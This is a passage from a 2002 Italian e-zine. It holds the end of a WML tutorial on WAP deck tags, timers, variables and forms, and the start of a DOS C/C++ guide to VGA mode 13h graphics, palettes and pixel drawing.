| 5 >>> IL TAG "DO" |
| |
| Consente di specificazione un'azione da svolgere nella card corrente. |
| Può essere un bottone grafico sul display del telefonino, un tasto |
| funzione o speciale sulla tastiera, un comando ad attivazione vocale, |
| etc. |
| |
| <do type="azione" label="etichetta" name="nome"> |
| go|refresh|prev|noop |
| </do> |
| |
| - TYPE >> Indica lazione da eseguire. Alcune sono: |
| |
| · type="accept", esegue il contenuto del tag |
| |
| · type="prev ", torna all'ultima pagina visitata |
| |
| · type="reset", resetta il contesto del browser |
| |
| · type="unknow", non specifica alcuna azione |
| |
| |
| |
| - LABEL >> Specifica l'etichetta di testo da associare alla |
| soft-key, meglio non superare i 6 caratteri |
| |
| - NAME >> Definisce l'identificativo del tag. Nella stessa |
| card, non è possibile avere più di un tag "do" con |
| lo stesso nome. |
| |
| |
| |
| All'interno dell'elemento "do" é possibile specificare una delle |
| seguenti azioni : |
| |
| go |
| prev |
| refresh |
| noop |
| TAG AZIONE "go" |
| Specificare l URL a cui saltare quando si seleziona quella soft-key. |
| |
| <go href="url"> |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| </go> |
| |
| href >> url a cui puntare |
| |
| TAG AZIONE "prev" |
| Indirizza la navigazione all'ultima card visitata |
| |
| <prev> |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| </prev> |
| |
| Per assegnare alla soft-key 'back' il ritorno alla card precedente: |
| |
| <do type="accept" label="Back"> |
| <prev/> |
| </do> |
| |
| |
| |
| TAG AZIONE "refresh" |
| Forza il ricaricamento della card |
| |
| <refresh> |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| </refresh> |
| |
| <do type="accept" label="Reload"> |
| <refresh/> |
| </do> |
| |
| |
| |
| TAG AZIONE "noop" |
| |
| Indica che non deve essere eseguita alcuna azione |
| |
| <noop/> |
| |
| |
| |
| 6 >>> LINK e COLLEGAMENTI |
| |
| Per inserire un link nella propria pagina é necessario prima definire |
| un'anchor con il tag "anchor" che crea il pulsante attivabile. |
| |
| <anchor title="titolo">...</anchor> |
| |
| <go href="url"/> |
| |
| <anchor> |
| Go to card 2 |
| <go href="#card2"/> |
| </anchor> |
| |
| All'interno del tag "go" é poi possibile specificare anche il tag |
| setvar per cambiare il valore di una o più variabili nella card di |
| destinazione |
| |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| |
| <wml> |
| |
| <card id="card1" title="Link e anchor"> |
| <p> |
| <anchor title="go_card2">Link to card2! |
| <go href="card2.wml"/> |
| </anchor> |
| </p> |
| <p> |
| <anchor title="prev">Back! |
| <prev/> |
| </anchor> |
| </p> |
| </card> |
| |
| </wml> |
| |
| |
| |
| 7 >>> TEMPLATE e TIMER |
| |
| |
| |
| TEMPLATE |
| E' possibile definire e specificare un metodo sia singolarmente per |
| ogni card sia globalmente condivisibile per tutte le card presenti nel |
| deck risparmiando così di copiare lo stesso codice in più parti del |
| deck. |
| Supponiamo di voler disporre in tutte le card del deck di un |
| pulsante "indietro" che rimandi indietro all'ultima card visitata, |
| ecco come potremmo definire il TEMPLATE: |
| |
| <template> |
| <do type="prev" name="back" label="Back"> |
| <prev/> |
| </do> |
| </template> |
| Ma la possibilità di tornare indietro (back) su una lista di card |
| concatenate ha senso solo dalla seconda in poi, come fare allora per |
| eliminare il tasto Back dalla prima? Sarebbe sufficiente specificare |
| un'azione "noop" corrispondente alla softkey "back" |
| Nell'esempio che segue viene definito un TEMPLATE per il tasto 'Back'. |
| La "card2" avrà quindi la soft-key 'Back' presente, mentre la "card1" |
| no poiché il metodo 'Back' é sovrascritto nella card utilizzando il |
| tag "noop". |
| |
| <wml> |
| <template> |
| <do type="prev" name="Back" label="Back"> |
| <prev/> |
| </do> |
| </template> |
| <card id="card1"> |
| <do type="prev" name="Back"> |
| <noop/> |
| </do> |
| ... |
| </card> |
| <card id="card2"> |
| ... |
| </card> |
| <wml> |
| |
| TIMER |
| permette di gestire i momenti di inattività. Quando si entra in una |
| card il timer viene inizializzato, se l'utente non é ancora "uscito" |
| dalla card al momento del suo scadere viene scatenata l'azione |
| preimpostata e specificata nell'attributo "ontimer" della card stessa. |
| I timer sono indicati in decimi di secondo ed é possibile specificare |
| al massimo un timer per ciascuna card. |
| |
| <timer name="nome_timer" value="valore"/> |
| |
| |
| |
| - NAME >> Specifica il nome di una variabile contenente il |
| valore in decimi di secondo del timer. Usciti dalla |
| card, questa variabile conterrà leventuale tempo |
| residuo; zero se il timer é scaduto, un valore |
| positivo se l'utente é uscito volontariamente dalla |
| card prima dello scadere del timer. |
| |
| - VALORE >> Valore di default del timer in decimi di secondo. |
| Se é specificata la variabile in "name" e questa é |
| già settata con un certo valore, allora verrà |
| utilizzato proprio quel valore per il timer, |
| ignorando il valore di default qui indicato. |
| Obbligatorio |
| |
| Nell'esempio seguente si visualizza per 1 secondo il titolo del sito |
| per poi passare al deck home.wml: |
| |
| <wml> |
| <card id="splash" ontimer="home.wml" title="CYBERWORLD.it"> |
| <timer value="10"/> |
| <p align="center"> |
| CYBERWORLD.it<br/> |
| Viaggio nel mondo del WML |
| </p> |
| </card> |
| </wml> |
| |
| 8 >>> LE IMMAGINI IN WML |
| Il WML prevede utilizzo uno specifico tipo di immagine, con un formato |
| particolarmente "leggero" in termini di occupazione di memoria, il |
| WBMP (Wireless BitMap) , una versione a 1 bit (bianco e nero) del |
| formato BMP. Tutte le immagini per essere compatibili con le |
| specifiche e quindi visualizzabili devono quindi essere convertite in |
| WBMP e non devono superare le dimensioni di 150x150 pixel o comunque |
| 1461 pixel complessivi. |
| |
| Per visualizzare un'immagine si ricorre al tag "img": |
| |
| <img src="percorso" alt="descrizione" [vspace="xx"] [hspace="yy"] |
| [align="top|middle|bottom"] [height="aa"] |
| [width="bb"]/> |
| |
| |
| - SRC >> Specifica l'indirizzo URL dell'immagine. Obbligatorio |
| |
| - ALT >> Descrizione dell'immagine. Viene visualizzata al |
| posto dell'immagine in caso di problemi. Obbligatorio |
| |
| - VSPACE >> Specifica in pixel o percentuale lo spazio da |
| lasciare vuoto DESTRA O SINISTRA |
| |
| - HSPACE >> Specifica in pixel o percentuale lo spazio da |
| lasciare vuoto SOPRA SOTTO |
| |
| - ALIGN >> Indica l'allineamento verticale dell'immagine: |
| top, testo allineato al lato superiore |
| dell'immagine; bottom in basso e middle al centro. |
| Opzionale. |
| |
| - HEIGHT HIDTH>> Specificano altezza (height) e larghezza |
| (width) dell'immagine. I valori possono |
| essere espressi in pixel o in percentuale, |
| con la caratteristica che il valore |
| percentuale NON si riferisce alle dimensioni |
| dell'immagine bensì allo spazio disponibile |
| in cui inserirla. Opzionale. |
| |
| Attenzione perche il Web server deve inviare limmagine specificando |
| il corretto tipo MIME: |
| image/vnd.wap.wbmp |
| |
| 9 >>> LE VARIABILI |
| |
| Le variabili possono avere un nome qualsiasi composto da una sequenza |
| di lettere, numeri e caratteri '_' (underscore), purché inizi con il |
| carattere '$'. Se quindi volete utilizzare questo carattere nel testo |
| della vostra pagina WML, dovrete dire al micro-browser che non |
| intendete referenziare una variabile utilizzando la doppia |
| sintassi '$$'. |
| |
| Questo é il carattere $$ |
| |
| verrà visualizzato così: |
| |
| Questo é il carattere $ |
| |
| Fate attenzione che il WML é sensibile alle maiuscole/minuscole, |
| quindi $cyberdude e $Cyberdude non referenziano la stessa variabile, |
| ma bensì due diverse. Una variabile può essere settata attraverso il |
| tag "setvar": |
| |
| <setvar nome="nome_variabile" value="valore_da_assegnare"/> |
| |
| Nell'esempio seguente la variabile $var1 può essere settata al |
| valore "Buongiorno!" oppure cancellata premendo rispettivamente la |
| soft-key etichettata "Set" o "Clear". |
| |
| <wml> |
| <card id="home" title="CYBERWORLD.it"> |
| <p> |
| Variabile:<br/> |
| $var1 |
| <do type="accept" label="Set"> |
| <go href="variables.wml"> |
| <setvar name="var1" value="Buongiorno!"/> |
| </go> |
| </do> |
| <do type="accept" label="Clear"> |
| <go href="variables.wml"> |
| <setvar name="var1" value=""/> |
| </go> |
| </do> |
| </p> |
| </card> |
| </wml> |
| |
| - Premendo "Set" la variabile $var viene settata al |
| valore "Buongiorno!". |
| - Premendo "Clear" invece il valore viene cancellato |
| |
| 10 >>> DECK: UN ESEMPIO COMPLETO |
| |
| Il deck é composto da 3 card. Inizialmente definiamo un template, |
| valido per tutte le card, che attiva la soft-key 'Back' per navigare |
| all'indietro sulle card. La prima card, "splash", visualizza il logo |
| del sito. Premendo il link "continua" oppure entro 5 secondi se |
| l'utente non compie alcuna azione, si viene trasferiti alla card "home". |
| |
| |
| <wml> |
| <template> |
| <do type="prev" name="Back" label="Back"> |
| <prev/> |
| </do> |
| </template> |
| |
| <card id="splash" ontimer="#home" title="CYBERWORLD.it"> |
| <timer value="50"/> |
| <do type="prev" name="Back"> |
| <noop/> |
| </do> |
| <p align="center"> |
| <img src = "cyberdude.wbmp" alt = "CYBERWORLD.it"/><br/> |
| Viaggio nel mondo del WML<br/> |
| <anchor title="Home">Continua<br/> |
| <go href="#home"/> |
| </anchor> |
| </p> |
| </card> |
| |
| <card id="home" title="CYBERWORLD.it"> |
| <p> |
| Menu:<br/> |
| <anchor title="Asp">Asp |
| <go href="Asp.wml"/> |
| </anchor> |
| <br/> |
| <anchor title="hacking">hacking |
| <go href="hacking.wml"/> |
| </anchor> |
| <br/> |
| <anchor title="Info">Info |
| <go href="#info"/> |
| </anchor> |
| </p> |
| </card> |
| |
| <card id="info" title="CYBERWORLD.it"> |
| <p> |
| Benvenuto nel sito WAP sperimentale di CYBERDUDE<br/> |
| In caso di problemi contattate via email: cyberdude.h4ck3r@libero.it |
| <br/><br/> |
| <anchor title="Home">Home<br/> |
| <go href="#home"/> |
| </anchor> |
| </p> |
| </card> |
| </wml> |
| |
| 11 >>> FORM INPUT DELL'UTENTE. Parte 1 |
| Il WML prevede la possibilità di gestire degli input provenienti da |
| scelte inserite dall'utente. |
| Tag <input> |
| Simile all'HTML. L'utente può inserire il testo attraverso la tastiera |
| del telefonino. |
| <input name="nome" [value="valore"] [type="password|text"] |
| [emptyok="true|false"] [size="num"] [length="num"]> |
| |
| - NAME >> Nome della variabile che verrà settata con |
| il contenuto inserito dall'utente. |
| Obbligatorio |
| - VALUE >> Valore di default del campo. Nel caso in |
| cui la variabile specificata in name |
| contenga già un valore, lattributo value |
| viene ignorato. |
| - TYPE >> Indica il campo é una password oppure un |
| normale testo. Nel primo caso allatto della |
| digitazione il testo verrà sostituito con |
| degli asterischi. |
| - EMPTYOK >> Settato a 'TRUE' accetta in input stringe |
| vuote. |
| - SIZE >> Dimensione, in numero di caratteri, |
| dellarea di input. |
| - MAXLENGHT >> Numero massimo di caratteri digitabili. |
| - FORMAT >> specifica una maschera di input. E |
| possibile indicare il tipo di carattere per |
| ciascuna posizione della stringa. |
| |
| A qualsiasi carattere alfabetico maiuscolo o di punteggiatura |
| a qualsiasi carattere alfabetico minuscolo o di punteggiatura |
| N qualsiasi carattere numerico |
| X qualsiasi carattere maiuscolo |
| x qualsiasi carattere minuscolo |
| M qualsiasi carattere |
| m qualsiasi carattere |
| *f qualsiasi numero di caratteri del formato f, dove f è uno dei |
| suddetti formati |
| nf un numero n di caratteri del formato f, dove f è uno dei suddetti |
| formati e n è un numero intero da 1 a 9 |
| |
| |
| Quindi ricapitoliamo la situazione : |
| |
| Si vuole richiedere un campo di testo di al massimo 32 caratteri |
| alfanumerici: |
| |
| <input name="nome" type="text" maxlength="32"/> |
| |
| Lo stesso del caso precedente, ma con valore di default pari |
| a "Marcello": |
| |
| <input name="nome" type="text" value="Marcello" maxlength="32"/> |
| |
| Oppure un numero di due cifre: |
| |
| <input name="eta" type="text" format="NN"/>
|
| |
| Ed infine un campo particolare, tre caratteri alfabetici maiuscoli, |
| quindi due cifre numeriche più un numero non precisato di caratteri |
| alfabetici generici: |
| |
| <input name="specific" type="text" format="XXXNN*m"/> |
| |
| Tag "postfield" |
| |
| Non viene mostrato sullo schermo. Può essere usato per postare un |
| coppia nome/valore al server. E' molto più potente di un campo |
| nascosto, perché grazie al modo in cui vengono gestite le variabili in |
| WML, potete collezionare informazioni contestuali e quindi passarle al |
| server tutte insieme. |
| |
| UN ESEMPIO COMPLETO DI FORM |
| |
| <card id="send_email" title="Invia email"> |
| <p> |
| A:<br/> |
| <input type="text" format="*M" emptyok="false" |
| name="To" size="10" maxlength="40"/> |
| Oggetto:<br/> |
| <input type="text" format="*M" emptyok="false" |
| name="Subject" size="10" maxlength="100"/> |
| Messaggio:<br/> |
| <input type="text" format="*M" emptyok="false" |
| name="Body" size="10" maxlength="40"/> |
| Signature:<br/> |
| <select name="Signature"> |
| <option value="yes">yes</option> |
| <option value="no">no</option> |
| </select> |
| <anchor title="Invia">Invia |
| <go href="send_mail.wml"> |
| <postfield name="To" value="$(To)" /> |
| <postfield name="Subject" value="$(Subject)" /> |
| <postfield name="Body" value="$(Body)" /> |
| <postfield name="Signature" value="$(Signature)" /> |
| </go> |
| </anchor> |
| </p> |
| </card> |
| |
| 12 >>> FORM INPUT DELL'UTENTE. Parte 2 |
| |
| Tag "select" |
| |
| Il tag "select" consente all'utente di selezionare un'opzione da una |
| lista di possibili scelte, ognuna delle quali specificata da un |
| elemento "option". |
| |
| <select name="nome" [multiple="true|false"] [value="valore"] |
| [iname="var_name"] [ivalue="var_valore"]> |
| ... |
| <select> |
| |
| - NAME >> Nome della variabile che verrà settata con il |
| contenuto inserito dall'utente. Obbligatorio |
| |
| - MULTIPLE >> Abilita la scelta multipla. Il default per |
| questa opzione é false. |
| |
| - VALUE >> Valore di default. Nel caso in cui la variabile |
| specificata in "name" contenga già un valore, |
| lattributo "value" viene ignorato. In caso di |
| scelta multipla, conterrà i vari elementi |
| selezionati separati da punto e virgola. |
| |
| - INAME >> Nome della variabile nella quale è contenuto |
| l'indice di default. Il valore 1 indica la prima |
| option; 0 invece nessuna option selezionata. |
| |
| - IVALUE >> Indica l'indice (numero posizionbale della |
| option) di default. Il valore 1 indica la prima |
| option; 0 invece nessuna option selezionata. |
| |
| Tag "option" |
| |
| Con questo tag possiamo popolare la nostra lista di opzioni. |
| |
| <option [valore="valore"] [onpick="URL"]> |
| ... |
| <option> |
| |
| - VALORE >> Valore da assegnare alla variabile indicata |
| nell'attributo name della "select" nel caso in cui |
| l'opzione venga selezionata |
| |
| - ONPICK >> Con onpick è possibile specificare un URL al |
| quale saltare quando viene selezionata questa |
| opzione. |
| |
| <wml> |
| <card> |
| <p> |
| Seleziona le tue competenze: |
| <select name="HOBHIES" iname="H" ivalue="1;2" multiple="true"> |
| <option value="A">Programmazione</option> |
| <option value="B">Grafica</option> |
| <option value="C">Satellitare</option> |
| </select> |
| </p> |
| </card> |
| </wml> |
| |
| >>> CONCLUSIONI |
| |
| Benissimo ragazzi siamo giunti alla fine di unaltro tutorial, che |
| dire, se lavete letto con attenzione vi sara sembrato molto semplice |
| e credetemi, lo e!!! hihihihhi adesso vi lascio al vostro |
| divertimento ora tocca lavorare alla vostra fantasia per realizzare |
| splendidi siti WAP. Ciao a tutti |
| |
| Cyberdude >>> www.area91.da.ru >>> cyberdudemail@libero.it |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| GUiDA ALLA PR0GRAMMAZi0NE GRAFiCA iN C/C++ [bondo] 0x0E/0x1A |
+--------------------------------------------------------------------------+
| ----------------------------------------------------------------------- |
| |
| guida alla |
| |
| |
| P R O G R A M M A Z I O N E |
| |
| G R A F I C A |
| |
| |
| in C/C++ |
| |
| by |
| |
| b o n d o |
| |
| ---------------------------------------------------------------------- |
| |
| 1. PRELiMiNARi |
| 2. ASSEMBLER RUNS BETTER |
| 3. LA MODALiTA' GRAFiCA |
| 4. COLORi |
| 5. PiXEL |
| 6. DiSEGNAMO! |
| 7. SiNCRONiZZAZiONE |
| 8. DOPPiO BUFFERiNG |
| 9. SPRiTE |
| 10. SPRiTE iN TRASPARENZA |
| 11. SPRiTE FUORi SCHERMO |
| 12. iMMAGiNi |
| 13. STAMPA AUTOMATiZZATA Di SPRiTE |
| 14. CONCLUSiONi |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | PRELiMiNARi |
| | 1 |------------------------------------------------------------- |
| '------' |
| |
| Innanzitutto, questa non è una guida sulla programmazione in C: è |
| necessaria una conoscenza - diciamo pure basilare - per capire e |
| mettere in pratica i pochi concetti spiegati qui. |
| Non è nemmeno una guida sulla creazione di videogiochi, quindi non |
| troverete grafica 3D, textures, rendering, colonne sonore, joystick |
| e via discorrendo. Non è da considerarsi nemmeno una 'bibbia' |
| sull'argomento, in quanto 'errare umanum est'... |
| E' un documento che, inizialmente, ho scritto per uso personale e poi |
| ho deciso di ampliare e condividere con voi tutti: probabilmente, |
| alcuni aspetti non saranno approfonditi, alcuni mancheranno del |
| tutto... |
| Questa guida è stata scritta mano a mano che sperimentavo e scrivevo |
| le varie funzioni: ho presentato tutte le soluzioni che ho |
| implementato, con successive modifiche, i ragionamenti che ci sono |
| dietro perchè credo sia più formativo che presentare solamente il |
| codice finito e commentato. |
| Non lapidatemi se non capite: ho qualche problema con l'italiano... |
| Non arrabbiatevi se non funziona al primo colpo: perseverate... |
| Attenzione: la guida fa riferimento al compilatore C/C++ DJGPP. Non |
| per questo dovete per forza utilizzare questo compilatore, ma |
| alcuni stralci di codice fanno uso di variabili e funzioni proprie |
| di questo strumento... i concetti sono quelli per tutti, se usate un |
| compilatore diverso stà a voi rielaborarli... |
| Ho deciso di utilizzare il DJGPP primo perchè è gratuito e secondo |
| perchè il compilatore borland da' tutta una serie di problemi |
| che non starò qui a elencare. Mi sento di consigliare anche il |
| Watcom C/C++ come compilatore - anche questo free. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | ASSEMBLER RUNS BETTER |
| | 2 |------------------------------------------------------------- |
| '------' |
| Poichè alcune routine per le operazioni grafiche necessitano di molta |
| velocità che non sempre i costrutti del linguaggio c sono in grado |
| di darci, conviene ricorrere all'assembler. Non staremo qui a |
| spiegare come e dove utilizzare l'assembler, basti solo sapere |
| che si può fare meglio nel caso le vostre esigenze lo richiedano. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | LA MODALiTA' GRAFiCA |
| | 3 |------------------------------------------------------------- |
| '------' |
| Prima di poter cominciare a disegnare pixel sullo schermo è necessario |
| attivare la modalità grafica. |
| Poichè quando scriviamo un programma per console ci troviamo nella |
| modalità testo, dobbiamo richiamare un interrupt del bios per |
| dire al controller grafico quale modalità grafica vogliamo attivare |
| ed utilizzare. |
| Essere in modalità grafica significa che possiamo agire sui singoli |
| pixel dello schermo. |
| La vga ha diversi tipi di modalità grafiche con risoluzioni e |
| numero di colori diversi: in questa guida noi ci riferiremo |
| sempre alla modalità 320x200 a 256 colori semplicemente per |
| il fatto che è la modalità con risoluzione più alta che |
| ci permette di utilizzare il maggior numero di colori. |
| Per curiosità, vediamo anche le altre modalità grafiche supportate |
| dalla vga: |
| |
| |
| Risoluzione: Colori: Modalità: |
| ----------------------------------------------- |
| 320x200 4 0x04 |
| 640x200 b/w 0x06 |
| 320x200 16 0x0d |
| 640x200 16 0x0e |
| 640x350 monoc. 0x0f |
| 640x350 4 0x10 |
| 640x480 b/w 0x11 |
| 640x480 16 0x12 |
| 320x200 256 0x13 |
| |
| |
| |
| |
| .---------------------------------------------------. |
| | RETTANGOLO DELLA CULTURA \ |
| '-----------------------------------------------------' |
| A questo punto, nasce spontanea una domanda: ma la |
| 1600x1200 a 16 milioni di colori che uso per giocare a Quake |
| Arena? Questa modalità e le altre non sono supportate dallo |
| standard vga... |
| Nei computer attuali, il controller grafico utilizza lo standard |
| SVGA. Lo svga (Super Video Graphics Array) è un'evoluzione del |
| vga e permette di utilizzare risoluzioni elevate e un maggior |
| numero di colori. |
| Rimane comunque una compatibilità verso il vga dei controller |
| svga che ci permette di operare come se ci trovassimo |
| alle prese con un controller vga. |
| |
| |
| |
| |
| Vediamo praticamente come si attiva la modalità grafica. Bisogna |
| richiamare l'interrupt bios 10h, quindi potremmo scrivere 2 righe in |
| assembler, del tipo: |
| |
| |
| mov al, 13h |
| int 10h |
| |
| |
| Portato in una funzione del nostro programma C, diventa: |
| |
| |
| void vgaOpen(){ |
| union REGS reg; |
| reg.x.ax = 0x13; |
| int86(0x10,®,®); |
| } |
| |
| |
| Nulla vieta di usare l'asm inline: |
| |
| |
| void vgaOpen(){ |
| asm mov al, 13h |
| asm int 10h |
| } |
| |
| |
| A questo proposito è necessario tenere conto che i diversi |
| compilatori gestiscono l'assembler inline in modo diverso (il watcom |
| lo gestisce tramite le direttive 'pragma' mentre il djgpp non usa la |
| sintassi dell'assembler Intel ma quella AT&T - bisogna quindi prestare |
| attenzione a questo fatto). |
| Tornando alla spiegazione, vediamo la funzione che, al termine del |
| programma, ripristina la modalità testuale: |
| |
| |
| void vgaClose(){ |
| union REGS reg; |
| reg.x.ax = 0x03; |
| int86(0x10,®,®); |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | COLORi |
| | 4 |------------------------------------------------------------- |
| '------' |
| Un pixel sullo schermo è definito semplicemente come un colore. Tale |
| colore è un byte scritto nella memoria video. |
| Il byte della memoria video identifica il numero del colore |
| memorizzato nell'hardware grafico. La scheda video contiene i valori |
| di rosso, verde e blu per ognuno dei 256 colori disponibili. |
| L'insieme dei 256 colori forma una palette, la tavolozza. |
| |
| Per intenderci: |
| |
| |
| colore r g b |
| ------------------ |
| 0x01 63 0 63 |
| 0x02 00 63 63 |
| |
| |
| La colonna colore contiene il codice del colore (quello che |
| specificheremo nelle istruzioni per disegnare) mentre r, g e b |
| contengono informazioni sul colore. |
| |
| |
| |
| |
| .---------------------------------------------------. |
| | RETTANGOLO DELLA CULTURA \ |
| '-----------------------------------------------------' |
| I colori su un monitor, come in un televisore, sono |
| ottenuti accostando tre fosfori dei tre colori fondamentali |
| rosso, verde e blu (RGB, dall'inglese red - green - blue). |
| Agendo sull'intensità della luce emanata dai cannoni |
| fotonici che va a colpire i fosfori è possibile ottenere |
| un'infinità di sfumature (sempre che l'hardware lo permetta). |
| |
| |
| |
| |
| Le porte hardware che si utilizzano per modificare la palette del |
| controller grafico sono 2, la 0x3c8 che specifica quale colore |
| stiamo per definire e la 0x3c9 che riceve i valori di RGB per il |
| colore selezionato. |
| |
| Supponiamo di voler modificare il colore 16. Per prima cosa, |
| scriviamo sulla 0x3c8 il numero del colore: |
| |
| |
| outportb(0x3c8, 16); |
| |
| |
| Adesso, scriviamo sulla 0x3c9 i valori di RGB. |
| |
| |
| outportb(0x3c9, r); |
| outportb(0x3c9, g); |
| outportb(0x3c9, b); |
| |
| |
| La porta 0x3c9 a ogni scrittura si incrementa di 1, permettendo di |
| inserire i 3 valori dei colori fondamentali. |
| Definiamo, quindi, una funzione che ci permetta di impostare i colori: |
| |
| |
| void setColor(char color, char r, char g, char b){ |
| outportb(0x3c8, color); |
| outportb(0x3c9, r); |
| outportb(0x3c9, g); |
| outportb(0x3c9, b); |
| } |
| |
| |
| Ricordo che colore è un byte, pertanto è possibile specificare |
| un valore compreso tra 0:255, mentre r, g, b sono valori di |
| soli 6 bit e possono assumere valori compresi tra 0:63. |
| Quando la scrittura di un colore termina, la porta 0x3c8 si |
| incrementa automaticamente e punta al colore successivo. Questa è |
| una caratteristica interessante che ci tornerà utile quando andremo |
| a caricare palette di immagini salvate su file. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | PiXEL |
| | 5 |------------------------------------------------------------- |
| '------' |
| Bene, adesso che sappiamo come attivare la modalità grafica e come |
| funzionano i colori, passiamo a vedere come si individua un pixel |
| sullo schermo. |
| Lo schermo può essere visto come un sistema di riferimento |
| cartesiano, dove ogni pixel è individuato da una coppia di valori |
| (x, y) che ne determinano le sue coordinate. |
| |
| |
| | |
| - + - - > x |
| | |
| | .-----------------------. |
| V y | | |
| | | |
| yp _ _ _ _ . pixel | |
| | | | |
| | | | |
| | | | |
| '-------|---------------' schermo |
| xp |
| |
| |
| Immaginiamo adesso lo schermo come una matrice di n*m byte (altro non |
| è che la memoria video). |
| Se ogni byte rappresenta il colore del pixel, n equivale alla sua x e |
| m alla sua y. |
| Se vogliamo che il pixel 10, 20 sia rosso, andremo a mettere nella |
| matrice di posto [10][20] il codice colore del rosso. La coordinata |
| base dello schermo è (0; 0) e che quindi la coordinata massima è |
| (319; 199). |
| La coordinata (0; 0) è l'angolo sinistro alto dello schermo. |
| Possiamo quindi dire che scrivendo: |
| |
| |
| vga[10][20] = rosso; |
| |
| |
| andremo a illuminare di rosso il pixel di coordinare x=10 e y=20. |
| vga è un puntatore alla memoria video, ma vedremo più avanti in |
| dettaglio. |
| In teoria, il ragionamento non fa una piega, ma in |
| pratica il compilatore non ci lascia utilizzare la memoria |
| video come un array bidimensionale. |
| Possiamo aggirare il problema con un indirizzamento del genere: |
| |
| |
| vga[10+20*320] = rosso; |
| |
| |
| In questo modo otteniamo lo stesso risultato. |
| Ovviamente questa è una scrittura riferita al pixel (10, 20) su uno |
| schermo largo 320 pixel. |
| In generale è: |
| |
| |
| vga[x+y*larghezza] = colore; |
| |
| |
| Riguardo alla scrittura sulla memoria video, sorgono alcuni problemi |
| relativi alla velocità di calcolo delle coordinate. |
| L'operazione di moltiplicazione y*320 all'interno dell'istruzione: |
| |
| |
| vga[x+y*320] = colore; |
| |
| |
| non è molto veloce, quindi si preferisce sostituirla con: |
| |
| |
| vga[x+(y<<8)+(y<<6)] = rosso; |
| |
| |
| Le due operazioni di shift sono più veloci rispetto alla |
| moltiplicazione e ci portano allo stesso risultato. |
| Tutto ciò è decisamente vero e sensato ma, oggi come oggi, |
| considerata la potenza di calcolo delle ultime cpu, non ritengo sia |
| un fattore rilevante come poteva esserlo su un 286, 386 o 486. |
| Comunque, onde evitare problemi... |
| |
| Si diceva che ci occorre un puntatore alla memoria video per poter |
| agire sui pixel. |
| La memoria video parte dall'indirizzo 0xa0000 ed è un buffer di |
| dimensioni variabili in base al modo grafico. Nel nostro caso, è |
| un'area grande 320x200 byte = 64 kbyte. |
| Definiamo adesso il puntatore: |
| |
| |
| unsigned char *vga = (unsigned char*)0xa0000 |
| |
| |
| Lavorando con il compilatore DJGPP, non è possibile accedere |
| direttamente alla locazione 0xa000 con un puntatore near quale è |
| un unsigned char, pertanto è necessario utilizzare questa scrittura: |
| |
| |
| unsigned char *vga; |
| vga = (unsigned char*)(0xa0000+__djgpp_conventional_base); |
| |
| |
| e chiamare la funzione: |
| |
| |
| __djgpp_nearptr_enable(); |
| |
| |
| Definiamo una funzione che disegna pixel sullo schermo: |
| |
| |
| void drawPixel(short x, short y, char color){ |
| vga[x+(y*320)] = color; |
| } |
| |
| |
| |
| L'esempio che segue colora tutto lo schermo di un colore: |
| |
| |
| #include |
| |
| void drawPixel(short x, short y, char color){ |
| vga[x+(y*320)] = color; |
| } |
| |
| void main(){ |
| __djgpp_nearptr_enable(); |
| unsigned char *vga; |
| vga = (unsigned char*)(0xa0000+__djgpp_conventional_base); |
| |
| vgaOpen(); |
| |
| for(int i=0; i<320; i++){ |
| for(int j=0; j<200; j++) drawPixel(x, y, 0x88); |
| } |
| getch(); |
| |
| vgaClose(); |
| } |
| |
| |
| Cominciamo adesso a fare le prime ottimizzazioni... |
| E' possibile evitare di nidificare due cicli poichè essendo la |
| memoria video una sequenza continua di byte è possibile ottenere lo |
| stesso risultato con: |
| |
| |
| for(int i=0; i<320*200; i++) vga[i] = 0x88; |
| |
| |
| Quindi, un'eventuale cancellazione dell'intero schermo |
| potrebbe essere semplicemente: |
| |
| |
| for(int i=0; i<320*200; i++) vga[i] = NULL; |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | DiSEGNAMO! |
| | 6 |------------------------------------------------------------- |
| '------' |
| Adesso che sappiamo come impostare un pixel, come attivare la modalità |
| grafica e anche come cambiare i colori, proviamo a disegnare qualcosa |
| sullo schermo. |
| Disegnamo un quadrato azzurro. |
| |
| |
| #include |
| |
| void vgaOpen(){ |
| union REGS reg; |
| reg.x.ax = 0x13; |
| int86(0x10,®,®); |
| } |
| void vgaClose(){ |
| union REGS reg; |
| reg.x.ax = 0x03; |
| int86(0x10,®,®); |
| } |
| |
| unsigned char *vga; |
| int x, y, x2, y2; |
| |
| void main(void){ |
| __djgpp_nearptr_enable(); |
| vga = (unsigned char*)(0xa0000+__djgpp_conventional_base); |
| |
| vgaOpen(); |
| |
| x=20; y=20; x2=50; y2=50; |
| |
| for(int i=x; i<x2; i++){ |
| for(int j=y; j<y2; j++){ |
| vga[i+(j*320)] = 0x35; |
| } |
| } |
| getch(); |
| |
| vgaClose(); |
| } |
| |
| |
| Una volta steso il codice va compilato. Per chi utilizzasse il DJGPP |
| come ho consigliato, dal prompt del dos digiti: |
| |
| |
| gpp sorgente.cpp -o eseguibile.exe |
| |
| |
| e poi si lancia eseguibile.exe. |
| Vediamo adesso come muovere il quadratino nello schermo. |
| |
| |
| #include |
| |
| unsigned char *vga; |
| int x, y, direction; |
| |
| void main(void){ |
| __djgpp_nearptr_enable(); |
| vga = (unsigned char*)(0xa0000+__djgpp_conventional_base); |
| |
| vgaOpen(); |
| |
| x=20; y=20; direction=0x00; |
| |
| while(!kbhit()){ |
| //disegna il quadrato |
| for(int i=x; i<x+5; i++){ |
| for(int j=y; j<y+5; j++){ |
| vga[i+(j*320)] = 0x35; |
| } |
| } |
| //cancella lo schermo per ridisegnare un nuovo quadrato |
| for(int k=0; k<320*200; k++) vga[k] = 0x00; |
| //calcola le coordinate dello spostamento |
| if(x+5==319) direction=0x00; |
| if(x==0) direction=0xff; |
| if(direction==0xff) x++; |
| if(direction==0x00) x--; |
